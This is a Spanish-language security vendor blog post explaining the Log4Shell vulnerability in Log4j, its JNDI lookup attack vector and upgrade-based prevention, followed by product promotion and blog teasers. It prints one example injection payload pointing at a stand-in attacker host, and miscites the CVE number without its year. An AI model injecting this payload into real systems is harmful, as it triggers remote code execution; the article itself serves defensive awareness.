Explicación de la vulnerabilidad Log4j: su vector de ataque y cómo prevenirla

El 9 de diciembre se reveló un exploit de día cero en la biblioteca de Java Log4j. CVE-44228, apodado Log4Shell, recibió una calificación de "severidad alta", ya que el exploit puede resultar en la ejecución remota de código (RCE). Además, log4j-core es una de las bibliotecas de registro de Java más utilizadas, por lo que pone en riesgo a millones de aplicaciones.
¿Quieres mejorar rápidamente tus habilidades para hacer frente a Log4Shell?
Hemos creado una demostración que te lleva desde la idea básica de Log4Shell hasta experimentar la explotación de esta vulnerabilidad en un simulador llamado Misión. En esta Misión, te guiaremos a través de cómo la vulnerabilidad de Log4j puede afectar a tu infraestructura y aplicaciones. Haz clic aquí para acceder directamente a la demostración, o sigue leyendo para conocer más detalles sobre la vulnerabilidad.
¿Noticias viejas?
El exploit no es nuevo. Ya en su charla de BlackHat de 2016, los investigadores de seguridad Alvaro Muñoz y Oleksandr Mirosh enfatizaron que “las aplicaciones no deben realizar búsquedas JNDI con datos no confiables”, e ilustraron cómo una inyección JNDI/LDAP dirigida podría conducir a la ejecución remota de código. Y esto es exactamente lo que constituye el núcleo de Log4Shell.
Vector de ataque
La carga útil de inyección de Log4Shell se ve así:
${jndi:ldap://attacker.host/xyz}
Para entender esto, necesitamos conocer el Lenguaje de Expresiones (EL) de Java. Las expresiones escritas con la siguiente sintaxis: ${expr} se evaluarán en tiempo de ejecución. Por ejemplo, ${java:version} devolverá la versión de Java que se está utilizando.
A continuación, está JNDI, o Java Naming and Directory Interface, que es una API que permite conectar con servicios mediante protocolos como LDAP, DNS, RMI, etc., para recuperar datos o recursos. En pocas palabras, en nuestro ejemplo de carga útil maliciosa anterior, JNDI realiza una búsqueda en el servidor LDAP controlado por el atacante. Su respuesta podría, por ejemplo, apuntar a un archivo de clase Java que contenga código malicioso, el cual, a su vez, se ejecutaría en el servidor vulnerable.
Lo que hace que esta vulnerabilidad sea tan problemática es que Log4j evalúa todas las entradas de registro y realizará búsquedas de toda la entrada del usuario registrada escrita en sintaxis EL con el prefijo "jndi". La carga útil puede inyectarse en cualquier lugar donde los usuarios puedan ingresar datos, como campos de formulario. Además, los encabezados HTTP, como User-Agent y X-Forwarded-For, así como otros encabezados, pueden personalizarse para transportar la carga útil.
Para experimentar el exploit tú mismo, dirígete a nuestra demostración y salta al paso 2: "Experimenta el impacto".
Prevención: Concienciación
Actualizar es la acción recomendada para todas las aplicaciones, ya que Log4j ha estado parcheando el código vulnerable. Sin embargo, las versiones 2.15.0 y 2.16.0 contenían una vulnerabilidad de DDoS y otras, lo que significa que, a finales de diciembre, se recomienda actualizar a la versión 2.17.0.
Como desarrolladores que escribimos código, debemos tener en cuenta la seguridad en todo momento. Log4Shell nos ha enseñado que existen riesgos al utilizar marcos o bibliotecas de terceros. Debemos ser conscientes de que la seguridad de nuestra aplicación puede verse comprometida al utilizar fuentes externas que asumimos ingenuamente como seguras.
¿Se podría haber evitado esta vulnerabilidad? Sí y no. Por un lado, los desarrolladores solo pueden hacer hasta cierto punto, ya que los componentes vulnerables se introducen a través de software de terceros. Por otro lado, la lección aprendida de esto es una que se ha repetido una y otra vez: nunca confiar en la entrada del usuario.
En Secure Code Warrior creemos que contar con desarrolladores concienciados con la seguridad es la mejor forma de evitar vulnerabilidades en el código. Gracias a que SCW ofrece formación a escala específica para marcos de programación, nuestros clientes empresariales han podido identificar rápidamente a los desarrolladores de Java afectados mediante los datos de los informes. Además, han confiado en sus expertos en seguridad formados por SCW para acelerar la actualización de Log4j.
Para los desarrolladores de Java en particular, Secure Code Warrior ofrece Sensei, un plugin gratuito para IntelliJ. Esta herramienta de análisis de código basada en reglas permite aplicar directrices de programación, así como prevenir y solucionar vulnerabilidades. Puede crear sus propias reglas o utilizar nuestros recetarios predefinidos. Explore nuestras recetas y no olvide descargar nuestro recetario de Log4j, que le ayudará a localizar y corregir la vulnerabilidad Log4Shell en un abrir y cerrar de ojos.
Mejore sus habilidades para defenderse frente a Log4Shell
¿Le interesa poner en práctica lo aprendido en este artículo? Nuestra demostración puede ayudarle. Al inicio, realizará un breve repaso de esta vulnerabilidad y, a continuación, accederá a un entorno simulado donde podrá probar el exploit con instrucciones guiadas.
Controle el desarrollo impulsado por IA antes de su lanzamiento
Mida el riesgo asistido por IA, aplique políticas de codificación segura en el momento de la confirmación y acelere la entrega segura en todo su ciclo de vida de desarrollo de software (SDLC).
Explorar más blogs
Acceda a contenido especializado sobre programación segura, gobernanza de IA y gestión de riesgos de software.

Una cultura de seguridad: cómo Sage creó su programa de defensores
Descubre cómo Sage reforzó su seguridad con un enfoque flexible y centrado en las relaciones, logrando formar a más de 200 expertos en seguridad y alcanzar una reducción de riesgos cuantificable.

Kamer van Koophandel: Seguridad a escala impulsada por los desarrolladores
La Cámara de Comercio (Kamer van Koophandel) comparte cómo integró la programación segura en el desarrollo diario mediante certificaciones basadas en roles, evaluaciones comparativas de puntuación de confianza y una cultura de responsabilidad compartida en seguridad.

Cómo un «Juego de Códigos» guía a IAG Group hacia un futuro de programación más seguro
IAG Group es la entidad detrás de muchas de las principales compañías de seguros en la región de Asia-Pacífico, que suscribe pólizas para millones de clientes por un valor aproximado de 11.400 millones de dólares australianos en primas anuales.

Mes de la Concienciación sobre Ciberseguridad 2026: Comprender la seguridad de la IA es fundamental para la defensa empresarial
Hemos llegado a un punto en el que la mayoría de las principales empresas de IA han pedido públicamente una ralentización global en el desarrollo de la IA para que las medidas de seguridad puedan ponerse al día, pero la verdad es que ya se han materializado graves problemas de seguridad. Esto deja a innumerables líderes de seguridad y equipos ejecutivos en una situación urgente, a medida que los costes monetarios y de riesgo de la implementación de la IA siguen acumulándose.

Habilitador 8: Branding de su programa
Un programa de codificación segura necesita algo más que un buen contenido para tener éxito. El Habilitador 8 muestra cómo el branding transforma la participación en una experiencia codiciada basada en el estatus.
.avif)
Cada empleado está ahora en la primera línea de la ciberseguridad de la IA
El panorama tecnológico empresarial está cambiando a una velocidad que pocos previeron hasta que fue demasiado tarde. Hemos cruzado oficialmente el umbral del código escrito por humanos y la asistencia básica de copilotos hacia la era del Ciclo de Vida de Desarrollo Agéntico (ADLC). Si bien los agentes de IA autónomos prometen una eficiencia sin precedentes en múltiples funciones, también traen consigo una clase completamente nueva de riesgos regulatorios y de seguridad.
Proteja el desarrollo basado en IA antes de su lanzamiento
Identifique riesgos de desarrollo, aplique políticas y prevenga vulnerabilidades en todo el ciclo de vida de su software.